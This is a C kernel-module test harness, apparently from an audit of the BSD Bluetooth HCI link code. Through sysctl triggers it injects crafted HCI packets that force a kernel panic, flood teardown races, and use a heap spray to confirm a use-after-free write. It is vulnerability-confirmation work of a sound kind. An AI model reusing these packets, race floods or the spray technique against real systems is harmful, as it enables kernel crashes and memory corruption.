/*
 * harness.c -- KLD harness for the pass-2 audit of sys/netbt/hci_link.c
 * (findings DF-5738 / DF-5739).
 *
 * The production files hci_event.c / hci_link.c / hci_misc.c / hci_unit.c /
 * bt_input.c are compiled into this module VERBATIM (copied from
 * /usr/src/sys/netbt by build.sh, md5s recorded).  This harness plays the
 * role the controller driver (ubt/btuart) plays in production: it attaches
 * a unit via the production hci_attach(), drives links into states that
 * arise during normal operation, and injects synthetic HCI packets through
 * the production entry points
 *
 *	events:  hci_input_event() -> netisr -> btintr() -> hci_intr()
 *		 -> hci_event() -> <handler under test>
 *	ACL rx:  hci_input_acl()  -> netisr -> ... -> hci_acl_recv()
 *
 * Triggers (sysctl, as root):
 *
 *   hw.hlh_setup = 1        attach fake unit + ACL link #5 OPEN
 *                            (production hci_link_alloc; bdaddr
 *                             66:55:44:33:22:11)
 *
 *   hw.hlh_sco_anchor = 1   [DF-5738 setup] inject Connection_Request(SCO)
 *                            for that bdaddr -> production
 *                            hci_event_con_req() -> hci_sco_newconn()
 *                            -> hci_acl_open() takes the SCO->ACL anchor
 *                            reference (hl_refcnt == 1, no L2CAP channels).
 *                            Requires the stub SCO listener pcb.
 *
 *   hw.hlh_fire_discon = 1  [DF-5738 fire] inject Disconnect_Complete for
 *                            ACL handle #5 -> hci_event_discon_compl() ->
 *                            hci_link_free() -> KKASSERT(hl_refcnt == 0)
 *                            FAILS (anchor reference never dropped)
 *                            -> kernel panic.
 *                          = 2  control: SCO-first ordering (inject
 *                            Connection_Complete(SCO, handle #9) then
 *                            Disconnect_Complete(#9)) which is the order
 *                            hci_cmd_reset() assumes -- clean teardown,
 *                            no panic, proving the ordering sensitivity.
 *
 *   hw.hlh_race_arm = N     [DF-5739 side A] N rounds: production
 *                            hci_acl_newconn() (WAIT_CONNECT link,
 *                            hl_refcnt == 0, expiry callout armed by
 *                            production) then re-arm the SAME callout to
 *                            1 tick (the production hci_acl_close()
 *                            re-arm pattern, just sooner), plus queue one
 *                            unsent PDU fragment so hci_link_free() has a
 *                            body to race on.
 *
 *   hw.hlh_race_discon = N  [DF-5739 side B] N rounds: inject
 *                            Disconnect_Complete(handle 0) events through
 *                            hci_input_event() -> netisr thread ->
 *                            hci_event_discon_compl() ->
 *                            hci_link_lookup_handle(0) finds the incoming
 *                            link -> hci_link_free() -- racing the
 *                            softclock thread executing hci_acl_timeout()
 *                            -> hci_link_free() on the same link.
 *
 *   hw.hlh_race_frag = N    [DF-5739 side C] N rounds: inject ACL data
 *                            (handle 0, START+FRAGMENT) through
 *                            hci_input_acl() -> netisr -> hci_acl_recv()
 *                            holding an uncounted reference to the link
 *                            while the expiry callout may free it.
 *
 *   hw.hlh_state = 1        dump unit link count / SCO pcb counters.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/endian.h>

#include <net/netisr.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <netbt/l2cap.h>
#include <netbt/sco.h>

#include "stub.h"

/* ------------------------------------------------------------------ */
/* fake controller driver: the role ubt(4)/btuart(4) play             */

static int	 fake_enable(device_t);
static void	 fake_disable(device_t);
static void	 fake_output_cmd(device_t, struct mbuf *);
static void	 fake_output_acl(device_t, struct mbuf *);
static void	 fake_output_sco(device_t, struct mbuf *);
static void	 fake_get_stats(device_t, struct bt_stats *, int);

static const struct hci_if fake_hci_if = {
	fake_enable,
	fake_disable,
	fake_output_cmd,
	fake_output_acl,
	fake_output_sco,
	fake_get_stats,
};

static int  fake_enabled;
static long fake_cmds_sent;

/*
 * Fake device_t: production error paths call
 * device_get_nameunit(unit->hci_dev) (returns dev->nameunit, a single
 * pointer load at +0x58) inside kprintf("%s"...) -- the blob must be
 * MAPPED memory with a valid string pointer there, unlike the raw
 * 0xcafe0000 constant used by the earlier DF-5734 rig (whose paths
 * never printed).  Our races DO hit those prints.
 */
static char *fake_dev;
static const char fake_dev_name[] = "hcih0";

#define FAKE_DEV_NAMEUNIT_OFF	0x58

static device_t
fake_dev_alloc(void)
{
	fake_dev = kmalloc(1024, M_BLUETOOTH, M_NOWAIT | M_ZERO);
	KKASSERT(fake_dev != NULL);
	*(const char **)(fake_dev + FAKE_DEV_NAMEUNIT_OFF) = fake_dev_name;
	return (device_t)fake_dev;
}

static int
fake_enable(device_t dev)
{
	fake_enabled = 1;
	return 0;
}

static void
fake_disable(device_t dev)
{
	fake_enabled = 0;
}

static void
fake_output_cmd(device_t dev, struct mbuf *m)
{
	fake_cmds_sent++;
	m_freem(m);
}

static void
fake_output_acl(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_output_sco(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_get_stats(device_t dev, struct bt_stats *s, int arg)
{
	memset(s, 0, sizeof(*s));
}

/* ------------------------------------------------------------------ */

static struct hci_unit *g_unit;
static struct hci_link *g_link;
static int inject_quiet;	/* flood loops silence per-packet prints */

#define TEST_HANDLE	0x0005
#define TEST_SCO_HANDLE	0x0009

/* bdaddr of the ACL link: 66:55:44:33:22:11 */
static const bdaddr_t test_bdaddr = { .b = { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66 } };

static int
unit_link_count(void)
{
	struct hci_link *l;
	int n = 0;

	TAILQ_FOREACH(l, &g_unit->hci_links, hl_next)
		n++;
	return n;
}

static void
inject_event(const uint8_t *pkt, int len, const char *tag)
{
	struct mbuf *m;
	int i;

	if (!inject_quiet) {
		kprintf("[harness] <- %s (%d bytes):", tag, len);
		for (i = 0; i < len && i < 32; i++)
			kprintf(" %02x", pkt[i]);
		if (len > 32)
			kprintf(" ...");
		kprintf("\n");
	}

	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	if (m_copyback2(m, 0, len, pkt, M_NOWAIT) != 0) {
		kprintf("[harness] m_copyback2 failed\n");
		m_freem(m);
		return;
	}

	hci_input_event(g_unit, m);	/* production entry point */
}

static void
inject_acl(const uint8_t *pkt, int len, const char *tag)
{
	struct mbuf *m;

	if (!inject_quiet)
		kprintf("[harness] <- %s (%d bytes)\n", tag, len);

	m = m_gethdr(M_NOWAIT, MT_DATA);
	KKASSERT(m != NULL);
	if (m_copyback2(m, 0, len, pkt, M_NOWAIT) != 0) {
		kprintf("[harness] m_copyback2 failed\n");
		m_freem(m);
		return;
	}

	hci_input_acl(g_unit, m);	/* production entry point */
}

static int
wait_eventq_drain(int secs)
{
	int t;

	for (t = 0; t < secs * 10; t++) {
		if (g_unit->hci_eventqlen == 0 && IF_QEMPTY(&g_unit->hci_eventq)
		    && IF_QEMPTY(&g_unit->hci_aclrxq))
			return 1;
		tsleep(g_unit, 0, "hlhw", hz / 10);
	}
	return 0;
}

/* ------------------------------------------------------------------ */
/* setup                                                               */

static int
hlh_setup(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	if (g_unit != NULL) {
		kprintf("[harness] unit already attached\n");
		return 0;
	}

	kprintf("[harness] === setup: attach unit + ACL link #%d (OPEN) ===\n",
	    TEST_HANDLE);

	g_unit = hci_attach(&fake_hci_if, fake_dev_alloc(), 0);
	KKASSERT(g_unit != NULL);

	g_unit->hci_flags |= BTF_RUNNING;
	g_unit->hci_num_cmd_pkts = 1;
	g_unit->hci_num_acl_pkts = 8;	/* controller reports free buffers */

	g_link = hci_link_alloc(g_unit);	/* production allocator */
	KKASSERT(g_link != NULL);
	g_link->hl_type = HCI_LINK_ACL;
	g_link->hl_state = HCI_LINK_OPEN;
	g_link->hl_handle = TEST_HANDLE;
	bdaddr_copy(&g_link->hl_bdaddr, &test_bdaddr);

	kprintf("[harness] unit %p ACL link %p handle #%d refcnt=%d "
	    "links=%d\n", g_unit, g_link, g_link->hl_handle,
	    g_link->hl_refcnt, unit_link_count());
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_setup, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_setup, "I", "attach fake HCI unit + OPEN ACL link #5");

/* ------------------------------------------------------------------ */
/* DF-5738: SCO->ACL anchor reference vs ACL link teardown             */

static int
hlh_sco_anchor(SYSCTL_HANDLER_ARGS)
{
	/* HCI event: Connection_Request, link_type = 0x00 (SCO) */
	uint8_t pkt[] = {
		0x04, 0x04, 0x0a,	/* hdr: EVENT_CON_REQ, len 10 */
		0x11, 0x22, 0x33, 0x44, 0x55, 0x66,	/* bdaddr */
		0x22, 0x22, 0x22,	/* uclass */
		0x00,			/* link_type = SCO */
	};
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	kprintf("[harness] === DF-5738 setup: Connection_Request(SCO) for "
	    "bdaddr of OPEN ACL link #5 ===\n");
	kprintf("[harness] production path: hci_event_con_req() -> "
	    "hci_sco_newconn() -> hci_acl_open() takes anchor ref\n");

	inject_event(pkt, sizeof(pkt), "Connection_Request(SCO)");

	if (!wait_eventq_drain(5)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}

	kprintf("[harness] after SCO anchor: ACL link #%d hl_refcnt=%d "
	    "(anchor only, no L2CAP channels), unit links=%d, "
	    "sco_newconn=%d\n",
	    g_link->hl_handle, g_link->hl_refcnt, unit_link_count(),
	    stub_sco_newconn_count);
	kprintf("[harness] EXPECT hl_refcnt == 1: the SCO link's "
	    "hci_acl_open() reference (hci_link.c:810)\n");
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_sco_anchor, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_sco_anchor, "I", "SCO con_req -> anchor ref on ACL link");

static int
hlh_fire_discon(SYSCTL_HANDLER_ARGS)
{
	/* HCI event: Disconnect_Complete, handle 0x0005 */
	uint8_t aclfirst[] = {
		0x04, 0x05, 0x04,	/* hdr: EVENT_DISCON_COMPL, len 4 */
		0x00,			/* status = success */
		0x05, 0x00,		/* con_handle 0x0005 LE */
		0x13,			/* reason */
	};
	/* control run: SCO-first ordering */
	uint8_t sfo_con[] = {
		0x04, 0x03, 0x0b,	/* hdr: EVENT_CON_COMPL, len 11 */
		0x00,			/* status = success */
		0x09, 0x00,		/* con_handle 0x0009 LE */
		0x11, 0x22, 0x33, 0x44, 0x55, 0x66,	/* bdaddr */
		0x00,			/* link_type = SCO */
		0x00,			/* encryption_mode */
	};
	uint8_t sfo_dis[] = {
		0x04, 0x05, 0x04,
		0x00,
		0x09, 0x00,		/* con_handle 0x0009 */
		0x13,
	};
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	if (v == 2) {
		kprintf("[harness] === DF-5738 control: SCO-first ordering "
		    "(what hci_cmd_reset assumes) ===\n");
		inject_event(sfo_con, sizeof(sfo_con),
		    "Connection_Complete(SCO handle 9)");
		if (!wait_eventq_drain(5)) {
			kprintf("[harness] event queue did not drain!\n");
			return 0;
		}
		inject_event(sfo_dis, sizeof(sfo_dis),
		    "Disconnect_Complete(handle 9)");
		if (!wait_eventq_drain(5)) {
			kprintf("[harness] event queue did not drain!\n");
			return 0;
		}
		kprintf("[harness] SCO-first control done: ACL refcnt=%d "
		    "links=%d sco_disconnected=%d (clean, no panic)\n",
		    g_link->hl_refcnt, unit_link_count(),
		    stub_sco_disconnected_count);
		return 0;
	}

	kprintf("[harness] === DF-5738 fire: Disconnect_Complete(ACL "
	    "handle #5) while SCO anchor holds hl_refcnt ===\n");
	kprintf("[harness] production path: hci_event_discon_compl() "
	    "(hci_event.c:629-631) -> hci_link_free() -> refcnt==1 -> "
	    "KKASSERT(hl_refcnt == 0) at hci_link.c:952 -> PANIC\n");

	inject_event(aclfirst, sizeof(aclfirst),
	    "Disconnect_Complete(ACL handle 5)");

	/* not reached when the bug fires */
	if (!wait_eventq_drain(5)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}
	kprintf("[harness] NO PANIC -- ACL link freed, refcnt=%d links=%d\n",
	    g_link->hl_refcnt, unit_link_count());
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_fire_discon, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_fire_discon, "I",
    "DF-5738: discon_compl on anchored ACL link (2 = SCO-first control)");

/* ------------------------------------------------------------------ */
/* DF-5739: expiry-callout teardown race                               */

static bdaddr_t race_bd;
static uint16_t race_ctr;

static int
hlh_race_arm(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err, i, ok = 0, busy = 0;
	struct l2cap_pdu *pdu;
	struct mbuf *m;
	struct hci_link *l;
	uint8_t buf[64];

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	kprintf("[harness] === DF-5739 arm x%d: hci_acl_newconn() + "
	    "1-tick hci_acl_timeout callout (production re-arm pattern) "
	    "===\n", v);

	memset(buf, 'R', sizeof(buf));

	for (i = 0; i < v; i++) {
		/*
		 * production incoming-connection path: WAIT_CONNECT link,
		 * hl_refcnt == 0, expiry callout armed (hci_acl_expiry*hz).
		 */
		race_bd.b[0] = race_ctr & 0xff;
		race_bd.b[1] = (race_ctr >> 8) & 0xff;
		race_bd.b[2] = 0xaa;
		race_bd.b[3] = 0xbb;
		race_bd.b[4] = 0xcc;
		race_bd.b[5] = 0xdd;
		race_ctr++;

		l = hci_acl_newconn(g_unit, &race_bd);
		if (l == NULL) {
			busy++;		/* previous link still present */
			if ((i & 0x3f) == 0)
				tsleep(&race_ctr, 0, "hlarm", 1);
			continue;
		}
		ok++;

		/*
		 * Re-arm the SAME production callout to fire in 1 tick --
		 * exactly the hci_acl_close() re-arm call, just sooner, so
		 * the softclock thread executes production hci_acl_timeout()
		 * on this refcnt-0 link imminently.
		 */
		callout_reset(&l->hl_expire, 1, hci_acl_timeout, l);

		/*
		 * Give hci_link_free() a body to race on: one queued PDU
		 * with one unsent fragment (production state from
		 * hci_acl_send() while controller buffers are full).
		 */
		pdu = zalloc(l2cap_pdu_pool);
		if (pdu != NULL) {
			bzero(pdu, sizeof *pdu);
			m = m_gethdr(M_NOWAIT, MT_DATA);
			if (m != NULL &&
			    m_copyback2(m, 0, sizeof(buf), buf, M_NOWAIT) == 0) {
				IF_ENQUEUE(&pdu->lp_data, m);
				TAILQ_INSERT_TAIL(&l->hl_txq, pdu, lp_next);
				l->hl_txqlen += 1;
			} else {
				if (m != NULL)
					m_freem(m);
				zfree(l2cap_pdu_pool, pdu);
			}
		}

		if ((i & 0x3f) == 0)
			tsleep(&race_ctr, 0, "hlarm", 1);
	}

	kprintf("[harness] arm done: %d links armed (%d skipped: previous "
	    "still present), links now=%d\n", ok, busy, unit_link_count());
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_race_arm, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_race_arm, "I", "DF-5739: arm incoming links + 1-tick expiry");

static int
hlh_race_discon(SYSCTL_HANDLER_ARGS)
{
	uint8_t pkt[] = {
		0x04, 0x05, 0x04,	/* EVENT_DISCON_COMPL */
		0x00,			/* status */
		0x00, 0x00,		/* con_handle 0x0000 LE (incoming
					 * links have no handle yet) */
		0x13,			/* reason */
	};
	int v = 0, err, i;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	kprintf("[harness] === DF-5739 discon x%d: "
	    "Disconnect_Complete(handle 0) flood via hci_input_event() "
	    "===\n", v);

	inject_quiet = 1;
	for (i = 0; i < v; i++) {
		inject_event(pkt, sizeof(pkt), "Disconnect_Complete(0)");
		if ((i & 0x3f) == 0)
			tsleep(&race_ctr, 0, "hldsc", 1);
	}
	inject_quiet = 0;

	kprintf("[harness] discon flood queued (%d)\n", v);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_race_discon, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_race_discon, "I", "DF-5739: event-side free flood (handle 0)");

static int
hlh_race_frag(SYSCTL_HANDLER_ARGS)
{
	/*
	 * ACL data on handle 0: START (l2cap len 0x0800 -> want > 0, link
	 * keeps the mbuf) then FRAGMENTs (m_cat onto hl_rxp).  This is the
	 * hci_acl_recv() path holding an UNCOUNTED reference to the link.
	 */
	uint8_t start[] = {
		0x02,			/* HCI ACL data */
		0x00, 0x20,		/* con_handle 0 | PB=START(2)<<12 */
		0x08, 0x00,		/* ACL payload len 8 */
		0x00, 0x08,		/* l2cap length 0x0800 (want > 0) */
		0x01, 0x00,		/* dcid */
		0x41, 0x41, 0x41, 0x41,	/* 4 payload bytes */
	};
	uint8_t frag[] = {
		0x02,
		0x00, 0x10,		/* con_handle 0 | PB=FRAGMENT(1)<<12 */
		0x08, 0x00,		/* len 8 */
		0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42,
	};
	int v = 0, err, i;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	kprintf("[harness] === DF-5739 frag x%d: ACL rx START/FRAGMENT "
	    "flood on handle 0 via hci_input_acl() ===\n", v);

	inject_quiet = 1;
	for (i = 0; i < v; i++) {
		inject_acl(start, sizeof(start), "ACL START(0)");
		inject_acl(frag, sizeof(frag), "ACL FRAGMENT(0)");
		if ((i & 0x3f) == 0)
			tsleep(&race_ctr, 0, "hlfrg", 1);
	}
	inject_quiet = 0;

	kprintf("[harness] frag flood queued (%d)\n", v);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_race_frag, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_race_frag, "I", "DF-5739: rx-side uncounted-ref flood");

/* ------------------------------------------------------------------ */
/* DF-5738: deterministic UAF proof                                    */
/*
 * On kernels without INVARIANTS the KKASSERT at hci_link.c:952 is a
 * no-op: hci_link_free() kfrees the ACL link while the SCO link (and
 * its pcb) still reference it.  Prove the use-after-free write:
 *
 *  1. re-anchor a SCO link on ACL #5 (production events)
 *  2. discon_compl(5) -> ACL link kfree'd, SCO->hl_link dangles
 *  3. spray sizeof(struct hci_link) objects (0xA5 pattern) to reclaim
 *     the freed slot (same malloc type/size)
 *  4. con_compl(SCO h9) + discon_compl(9) -> hci_link_free(SCO) ->
 *     hci_acl_close(freed ACL) -> "--freed->hl_refcnt" WRITE
 *  5. scan the spray: a slot whose hl_refcnt field reads 0xA5A4
 *     (was 0xA5A5) is the smoking gun.
 */

#define SPRAY_MAX	256

struct spray_obj {
	void *p;
	int modified;
};

static struct spray_obj spray[SPRAY_MAX];

static int
hlh_uaf(SYSCTL_HANDLER_ARGS)
{
	uint8_t discon5[] = {
		0x04, 0x05, 0x04,
		0x00,
		0x05, 0x00,		/* con_handle 0x0005 */
		0x13,
	};
	uint8_t scon9[] = {
		0x04, 0x03, 0x0b,
		0x00,			/* status = success */
		0x09, 0x00,		/* con_handle 0x0009 */
		0x11, 0x22, 0x33, 0x44, 0x55, 0x66,
		0x00,			/* link_type = SCO */
		0x00,
	};
	uint8_t discon9[] = {
		0x04, 0x05, 0x04,
		0x00,
		0x09, 0x00,
		0x13,
	};
	int v = 0, err, i, j, hits = 0, off_refcnt;
	uint8_t *q;
	struct sco_pcb *dead_pcb = NULL;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL && g_link != NULL);

	off_refcnt = __offsetof(struct hci_link, hl_refcnt);
	kprintf("[harness] === DF-5738 UAF sequence "
	    "(offsetof(hl_refcnt)=%d, sizeof(hci_link)=%zu) ===\n",
	    off_refcnt, sizeof(struct hci_link));

	/* 1. re-anchor a fresh SCO link on the (still allocated) ACL #5 */
	{
		static const uint8_t conreq[] = {
			0x04, 0x04, 0x0a,
			0x11, 0x22, 0x33, 0x44, 0x55, 0x66,
			0x22, 0x22, 0x22,
			0x00,		/* link_type = SCO */
		};

		inject_event(conreq, sizeof(conreq), "Connection_Request(SCO)");
		if (!wait_eventq_drain(5)) {
			kprintf("[harness] event queue did not drain!\n");
			return 0;
		}
	}
	kprintf("[harness] 1) anchored: ACL#5 refcnt=%d links=%d\n",
	    g_link->hl_refcnt, unit_link_count());

	/* remember a pointer into the SCO side so we can show it dangles */
	{
		struct hci_link *l;

		TAILQ_FOREACH(l, &g_unit->hci_links, hl_next) {
			if (l->hl_type == HCI_LINK_SCO) {
				dead_pcb = l->hl_sco;
				kprintf("[harness]    SCO link %p pcb %p "
				    "hl_link=%p (== ACL#5)\n", l, l->hl_sco,
				    l->hl_link);
			}
		}
	}

	/* 2. kill the ACL link: kfree'd, SCO->hl_link now dangles */
	inject_event(discon5, sizeof(discon5), "Disconnect_Complete(5)");
	if (!wait_eventq_drain(5)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}
	kprintf("[harness] 2) ACL#5 freed: links=%d (SCO still holds "
	    "hl_link=%p -- DANGLING)\n", unit_link_count(), g_link);

	/* 3. reclaim the freed slot with same-size same-type allocations */
	memset(spray, 0, sizeof(spray));
	for (i = 0; i < SPRAY_MAX; i++) {
		spray[i].p = kmalloc(sizeof(struct hci_link),
		    M_BLUETOOTH, M_NOWAIT | M_ZERO);
		if (spray[i].p == NULL)
			break;
		memset(spray[i].p, 0xa5, sizeof(struct hci_link));
	}
	kprintf("[harness] 3) sprayed %d x %zu-byte objects (0xa5)\n",
	    i, sizeof(struct hci_link));

	/* 4. SCO teardown: hci_link_free(SCO) -> hci_acl_close(freed ACL)
	 *    executes "--freed->hl_refcnt" */
	inject_event(scon9, sizeof(scon9), "Connection_Complete(SCO 9)");
	if (!wait_eventq_drain(5)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}
	inject_event(discon9, sizeof(discon9), "Disconnect_Complete(9)");
	if (!wait_eventq_drain(5)) {
		kprintf("[harness] event queue did not drain!\n");
		return 0;
	}
	kprintf("[harness] 4) SCO teardown done: links=%d "
	    "sco_disconnected=%d\n", unit_link_count(),
	    stub_sco_disconnected_count);

	/* 5. scan for the write */
	for (i = 0; i < SPRAY_MAX && spray[i].p != NULL; i++) {
		q = spray[i].p;
		if (q[off_refcnt] == 0xa4 && q[off_refcnt + 1] == 0xa5) {
			/* uint16 0xA5A5 decremented by one -> 0xA5A4 LE */
			spray[i].modified = 1;
			hits++;
			kprintf("[harness] *** UAF WRITE CONFIRMED: spray "
			    "obj %d (%p) hl_refcnt 0xA5A5 -> 0x%02x%02x "
			    "(hci_acl_close() decremented the FREED link) "
			    "***\n", i, q, q[off_refcnt + 1], q[off_refcnt]);
		} else {
			/* report any other deviation for completeness */
			for (j = 0; j < (int)sizeof(struct hci_link); j++) {
				if (q[j] != 0xa5) {
					kprintf("[harness] note: spray obj %d "
					    "byte %d = %02x\n", i, j, q[j]);
					break;
				}
			}
		}
	}

	kprintf("[harness] 5) result: %d/%d spray objects show the "
	    "freed-link decrement%s\n", hits, i,
	    hits ? "  --> USE-AFTER-FREE WRITE (memcorrupt)" :
	    " (slot not reclaimed this round -- re-run)");

	for (i = 0; i < SPRAY_MAX && spray[i].p != NULL; i++) {
		if (!spray[i].modified)
			kfree(spray[i].p, M_BLUETOOTH);
		spray[i].p = NULL;
	}
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_uaf, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_uaf, "I", "DF-5738: deterministic UAF write demonstration");

/* ------------------------------------------------------------------ */

static int
hlh_state(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;
	struct hci_link *l;
	int n = 0;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	kprintf("[harness] state: unit links=%d\n", unit_link_count());
	TAILQ_FOREACH(l, &g_unit->hci_links, hl_next) {
		kprintf("[harness]  link %p type=%d state=%d handle=%d "
		    "refcnt=%d txqlen=%d rxp=%p\n",
		    l, l->hl_type, l->hl_state, l->hl_handle,
		    l->hl_refcnt, l->hl_txqlen, l->hl_rxp);
		if (++n > 32) {
			kprintf("[harness]  ... (more)\n");
			break;
		}
	}
	kprintf("[harness] sco_newconn=%d sco_disconnected=%d "
	    "cmds_sent=%ld\n",
	    stub_sco_newconn_count, stub_sco_disconnected_count,
	    fake_cmds_sent);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, hlh_state, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hlh_state, "I", "dump harness/unit link state");

/* ------------------------------------------------------------------ */

static int
harness_mode(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		l2cap_pdu_pool = zinit("l2cap_pdu",
		    sizeof(struct l2cap_pdu), 1, ZONE_DESTROYABLE);
		l2cap_req_pool = zinit("l2cap_req",
		    sizeof(struct l2cap_req), 1, ZONE_DESTROYABLE);
		KKASSERT(l2cap_pdu_pool != NULL && l2cap_req_pool != NULL);

		stub_sco_init();

		netisr_register(NETISR_BLUETOOTH, btintr, NULL);

		kprintf("[harness] hci_link_harness loaded: hlh_setup, "
		    "hlh_sco_anchor, hlh_fire_discon, hlh_uaf, hlh_race_arm, "
		    "hlh_race_discon, hlh_race_frag, hlh_state\n");
		break;
	case MOD_UNLOAD:
		return EBUSY;
	default:
		break;
	}
	return 0;
}

static moduledata_t harness_moddata = {
	"hci_link_harness",
	harness_mode,
	NULL
};

DECLARE_MODULE(hci_link_harness, harness_moddata, SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE);
